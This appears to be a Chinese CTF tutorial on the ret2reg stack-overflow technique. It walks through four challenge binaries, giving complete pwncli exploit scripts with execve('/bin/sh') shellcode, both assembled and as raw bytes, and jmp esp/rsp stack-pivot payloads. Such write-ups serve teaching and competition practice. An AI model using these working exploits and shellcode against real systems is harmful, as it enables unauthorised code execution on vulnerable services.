利用原理
ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。
一般用于开启ASLR
的 ret2shellcode 题型,在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,当这个参数是shellcode
时,只要程序中存在jmp/call reg
代码片段时,即可通过 gadget 跳转至该寄存器执行 shellcode。
该攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后来的运行过程中不会修改。
只要在函数ret
之前将相关寄存器复位掉,便可以避免此漏洞。
利用思路
主要在于找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg
这样的指令
- 分析和调试程序,查看溢出函数返回时哪个寄存值指向传入的 shellcode
- 查找
call reg
或jmp reg
,将指令所在的地址填到EIP
位置,即返回地址
- 在
reg
指向的空间上注入 shellcode
例题
rsp_shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h>
int test = 0;
int main() { char input[100];
puts("Get me with shellcode and RSP!"); gets(input);
if(test) { asm("jmp *%rsp"); return 0; } else { return 0; } }
|
- 查保护
没有NX
和canary
以及PIE
保护,即栈可执行。
1 2 3 4 5 6 7
| Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments
|
- 分析
分析源代码发现很明显的栈溢出漏洞,并且溢出字节没有限制。
源代码中还内嵌了一个jmp rsp
的汇编指令,猜测要通过 ret2reg 的方式打 shellcode。
gdb 调试发现在函数返回的时候rsp
仍然指向缓冲区地址。
这样我们可以通过将返回地址即下面这条指令的地址覆盖为jmp rsp
来让rip
指向缓冲区,然后我们再发送 shellcode 让程序执行 shellcode。
先执行jmp rsp
再发送 shellcode 是因为程序可以溢出很长的字节,我们可以先将rip
指向缓冲区然后再发送 shellcode执行。
1
| *RSP 0x7fffffffcd78 —▸ 0x7ffff7da8d90 (__libc_start_call_main+128) ◂— mov edi, eax
|
- exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = flat( b'a' * 120, jmp_rsp, asm(shellcraft.sh()) ) sla("RSP!\n",payload) ia()
|
X-CTF Quals 2016 - b0verfl0w
- 查保护
32位程序无NX
、canary
以及PIE
保护,栈可执行。
1 2 3 4 5 6 7
| Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments
|
- 分析
ida反编译
程序限制读取50个字节,所以我们只能溢出18个字节,所以并不能进行上题的利用方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int vul() { char s[32];
puts("\n======================"); puts("\nWelcome to X-CTF 2016!"); puts("\n======================"); puts("What's your name?"); fflush(stdout); fgets(s, 50, stdin); printf("Hello %s.", s); fflush(stdout); return 1; }
|
gdb 动调调试发现esp
指向缓冲区。
1
| *ESP 0xffffbe4c —▸ 0x8048519 (main+11) ◂— leave
|
我们无法直接返回执行很长的 shellcode,但是可以通过构造汇编指令将栈指针进行一个迁移。
迁移到一个我们想要它执行的地方,比如payload的前部分。
- exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
shellcode=asm(""" push 0x68732f push 0x6e69622f mov ebx,esp xor ecx,ecx push 11 pop eax int 0x80 """)
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = next(elf.search(asm('jmp esp'))) payload = shellcode.ljust(0x24,b'a') + p32(jmp_esp) + sub_esp_jmp print(len(payload)) sl(payload)
ia()
|
[广东省大学生攻防大赛 2022]jmp_rsp
64位程序无NX
、PIE
保护,栈可执行。
程序显示存在canary
保护。
- 查保护
1 2 3 4 5 6 7
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments
|
- 分析
ida反编译查看main
函数。
发现程序存在栈溢出,并且程序并没有进行canary
检查。
所以这个canary
是假的。
1 2 3 4 5 6 7 8 9
| int __fastcall main(int argc, const char **argv, const char **envp) { char v3; char buf[128];
printf("this is a classic pwn", argv, envp, v3); read(0, buf, 0x100uLL); return 0; }
|
gdb动调调试发现rsp
指向栈空间。
同样,让rsp
进行一个迁移即可。
1
| *RSP 0x7fffffffcf68 —▸ 0x401119 (__libc_start_main+777) ◂— mov edi, eax
|
- exp
1 2 3 4 5 6 7 8 9 10 11 12
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = asm(shellcraft.sh()).ljust(0x88, b'\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp') sl(payload)
ia()
|
ciscn_2019_s_9
- 查保护
几乎没保护,可以尝试打 shellcode。
1 2 3 4 5 6 7 8
| ➜ checksec ./ciscn_s_9 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments
|
- 分析
分析main
函数
发现关键函数pwn
,进入查看。
1 2 3 4
| int __cdecl main(int argc, const char **argv, const char **envp) { return pwn(); }
|
分析函数发现,fgets
向变量s
从标准输入流读取了50个字符,所以存在栈溢出。
溢出了18个字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int pwn() { char s[24];
puts("\nHey! ^_^"); puts("\nIt's nice to meet you"); puts("\nDo you have anything to tell?"); puts(">"); fflush(stdout); fgets(s, 50, stdin); puts("OK bye~"); fflush(stdout); return 1; }
|
gdb 动态调试发现,在pwn
函数返回时esp
是指向栈顶的。
而且我们在函数表中发现了jmp rsp
指令,所以接下来的思路就很清晰了。
通过ret2reg
打 shellcode
但是我们只溢出了18个字节,并不足够写 shellcode。
但是我们可以通过jmp esp
执行sub esp
指令来将栈指针进行一个迁移,然后执行我们的 shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| pwndbg> 0x08048550 20 in pwn.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────── EAX 1 EBX 0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac ECX 0x6c0 EDX 0xf7fa19b4 (_IO_stdfile_1_lock) ◂— 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0xffffc364 —▸ 0xffffc534 ◂— 0x746e6d2f ('/mnt') *EBP 0xffffc298 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0 *ESP 0xffffc28c —▸ 0x804856f (main+22) ◂— add esp, 4 *EIP 0x8048550 (pwn+149) ◂— ret ─────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────────────────── 0x8048541 <pwn+134> push eax 0x8048542 <pwn+135> call fflush@plt <fflush@plt>
0x8048547 <pwn+140> add esp, 0x10 ESP => 0xffffc260 (0xffffc250 + 0x10) 0x804854a <pwn+143> mov eax, 1 EAX => 1 0x804854f <pwn+148> leave ► 0x8048550 <pwn+149> ret <main+22> ─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffc28c —▸ 0x804856f (main+22) ◂— add esp, 4 01:0004│-008 0xffffc290 ◂— 1 02:0008│-004 0xffffc294 —▸ 0xffffc2b0 ◂— 1 03:000c│ ebp 0xffffc298 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0 04:0010│+004 0xffffc29c —▸ 0xf7d97519 (__libc_start_call_main+121) ◂— add esp, 0x10 05:0014│+008 0xffffc2a0 —▸ 0xffffc534 ◂— 0x746e6d2f ('/mnt') 06:0018│+00c 0xffffc2a4 ◂— 0x70 07:001c│+010 0xffffc2a8 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c ───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────── ► 0 0x8048550 pwn+149 1 0x804856f main+22 2 0xf7d97519 __libc_start_call_main+121 3 0xf7d975f3 __libc_start_main+147 4 0x80483e1 _start+33 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
|
- exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf
jmp_esp = next(elf.search(asm('jmp esp'))) shellcode=b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" payload = shellcode.ljust(36,b'a')+ p32(jmp_esp) + asm('sub esp,40;jmp esp') r() sl(payload)
ia()
|
后言
总结:如果溢出字节足够长就直接通过jmp reg
执行shellcode,如果溢出不够长就构造汇编指令将栈指针进行一个迁移执行 shellcode。
参考链接:Using RSP | Cybersec (gitbook.io)